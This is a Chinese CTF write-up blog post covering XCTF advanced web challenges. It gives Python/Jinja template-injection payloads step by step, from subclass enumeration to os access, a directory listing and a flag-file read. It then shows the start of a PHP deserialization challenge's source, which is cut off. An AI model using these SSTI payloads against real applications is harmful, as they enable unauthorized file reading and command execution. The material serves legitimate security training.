攻防世界web解题[进阶](五)

这篇博客介绍了CTF比赛中的Web安全题目,涉及Python模板注入和PHP反序列化两个主题。在Python模板注入部分,详细阐述了如何利用os命令执行来读取文件获取flag。而在PHP反序列化部分,解释了如何绕过__wakeup方法,最终成功获取flag。同时,还探讨了Tornado框架的使用,通过MD5加密解决访问权限问题,并分享了Flask模板注入的payload及获取flag的方法。
摘要由CSDN通过智能技术生成


介绍:记录解题过程

15.Web_python_template_injection(python 模板注入)

题目描述:暂无

python template injection
python 模板注入(ssti模板注入)

<1>. 尝试:

http://111.200.241.244:44969/{
   {
   7*7}}

在这里插入图片描述

<2>. 得到可用的类的列表:

{
   {
   ''.__class__.__mro__[2].__subclasses__()}}
  • 回显:
    在这里插入图片描述

<3>. 我们需要的是os命令执行类<class ‘os._wrap_close’>,我们要判断他所属的位置,这样才能进行索引,os命令执行再列出文件:

  • payload
{
   {
   ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
  • 回显:
URL http://111.200.241.244:44969/['fl4g', 'index.py'] not found

<4>.读取文件flag内容:

  • payload:
{
   {
   ''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
  • flag:
URL http://111.200.241.244:44969/ctf{
   f22b6844-5169-4054-b2a0-d95b9361cb57} not found

16.Web_php_unserialize( php 反序列)

题目描述:暂无

  • 首页:
<?php 
class Demo {
    
    private $file = 'index.php';
    public function __construct($file) {
    
        $this->file = $file; 
    }
    function __destruct() {
    
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
    
        if ($this->file != 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值